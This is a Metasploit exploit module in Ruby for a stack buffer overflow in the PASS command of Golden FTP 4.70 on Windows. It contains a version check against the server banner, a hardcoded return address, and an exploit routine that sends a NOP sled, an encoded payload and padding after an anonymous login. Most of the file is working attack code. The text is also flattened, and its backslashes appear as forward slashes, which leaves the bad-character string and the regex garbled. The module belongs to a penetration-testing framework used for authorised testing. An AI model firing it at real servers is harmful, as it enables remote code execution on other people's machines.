## $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote	Rank = AverageRanking	include Msf::Exploit::Remote::Ftp	def initialize(info = {})		super(update_info(info,			'Name'           => 'GoldenFTP PASS Stack Buffer Overflow',			'Description'    => %q{					This module exploits a vulnerability in the Golden				FTP service. This module uses the PASS command to trigger the overflow.			},			'Author'         => [ 'bannedit' ],			'License'        => MSF_LICENSE,			'Version'        => '$Revision: 12812 $',			'References'     =>				[					[ 'BID', '45957 '],					[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],				],			'DefaultOptions' =>				{					'EXITFUNC' => 'seh',				},			'Privileged'     => false,			'Payload'        =>				{					'Space'    => 350,					'BadChars' => "/x00/x0a/x0d",				},			'Platform'       => ['win'],			'Targets'        =>				[					[						'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011						{							'Platform' => 'win',							'Ret'      => 0x00a93ca6,						},					]				],			'DisclosureDate' => 'Jan 23 2011'))	end		def check		connect		disconnect		print_status("FTP Banner: #{banner}".strip)		if banner =~ /Golden FTP Server ready v(4/./d{2})/ and $1 == "4.70"			return Exploit::CheckCode::Appears		else			return Exploit::CheckCode::Safe		end	end	def exploit		if datastore['RHOST'].length < 15			pad = make_nops(1) * (15 - datastore['RHOST'].length)		end				sploit = make_nops(4) * 38		sploit << payload.encoded		sploit << pad		sploit << make_nops(1) * (528 - sploit.length)		sploit << [target.ret].pack('V')		print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")		begin			connect			send_user("anonymous")			send_cmd(['PASS', sploit], false)			handler		rescue EOFError		end	endend